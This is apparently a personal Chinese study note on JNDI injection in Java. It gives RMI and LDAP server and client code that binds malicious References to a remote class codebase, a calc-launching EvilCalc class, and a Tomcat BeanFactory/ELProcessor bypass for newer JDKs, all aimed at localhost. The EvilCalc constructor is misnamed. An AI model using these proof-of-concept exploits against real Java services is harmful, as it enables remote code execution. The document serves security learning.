JNDI注入学习

参考:

从文档开始的jndi注入之路

openJDK之如何下载各个版本的openJDK源码

JNDI+RMI

代码

IRemoteObj

package cn.evo1ution;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

RemoteObjImpl

package cn.evo1ution;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{
public RemoteObjImpl() throws RemoteException {
// 如果不继承UnicastRemoteObject就需要手工导出
// UnicastRemoteObject.exportObject(this,0);
}

@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}

RMIServer

package cn.evo1ution;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(10999);
registry.bind("remoteObj",remoteObj);
}
}

RMIClient

package cn.evo1ution;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",10999);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("hello");
}
}

JNDIRMIServer

package cn.evo1ution;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:10999/remoteObj",new RemoteObjImpl());
Reference reference = new Reference("EvilCalc", "EvilCalc", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:10999/remoteObj",reference);
}
}

JNDIRMIClient

package cn.evo1ution;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:10999/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
// initialContext.lookup("rmi://localhost:7777/remoteObj");
}
}

EvilCalc

只保留该类的class即可

import java.io.IOException;

public class EvilCalc {
public Calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

流程分析

看不到jndi源码,只能看到反编译源码的解决方案:点击https://hg.openjdk.org/jdk8/jdk8/jdk/页面左侧的zip下载所有源码(找一下自己对应的版本),把里面jdk-687fd7c7986d\src\share\classes\com\sun\jndi文件夹整个复制到jdk1.8.0_65\src\com\sun目录下,重新打开下idea即可,一些操作可以参考这篇博客openJDK之如何下载各个版本的openJDK源码

断点下在JNDIRMIClient,本地在恶意类所在目录开一个服务,然后从lookup开始调试

jndi-1.png
jndi-2.png
jndi-3.png
jndi-4.png
jndi-5.png
jndi-6.png
jndi-7.png

JNDI+LDAP

代码

Java版本为8u141

JNDILDAPServer

package cn.evo1ution;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDILDAPServer {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("EvilCalc", "EvilCalc", "http://localhost:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);
}
}

JNDILDAPClient

package cn.evo1ution;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILDAPClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}

ApacheDirectoryStudio

如果遇到什么奇葩问题(比如明明端口没被占用说被占用了)解决不了建议试试重启电脑

jndi-8.png

流程分析

断点下在JNDILDAPClient,本地在恶意类所在目录开一个服务,然后从lookup开始调试

jndi-9.png
jndi-10.png
jndi-11.png
jndi-12.png
jndi-13.png
jndi-14.png
jndi-15.png
jndi-16.png
jndi-17.png
jndi-18.png
jndi-19.png

JNDI+RMI高版本绕过

代码

Java版本为8u241

JNDIRMIServerBypass

package cn.evo1ution;

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;

public class JNDIRMIServerBypass {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString","x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:10999/remoteObj",resourceRef);
}
}

Test

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Test {
public static void main(String[] args) throws NamingException {
InitialContext initialContext=new InitialContext();
initialContext.lookup("rmi://localhost:10999/remoteObj");
}
}

流程分析

老样子,从look开始

jndi-20.png
jndi-21.png
jndi-22.png
jndi-23.png
jndi-24.png
jndi-25.png
jndi-26.png
jndi-27.png
jndi-28.png
jndi-29.png
jndi-30.png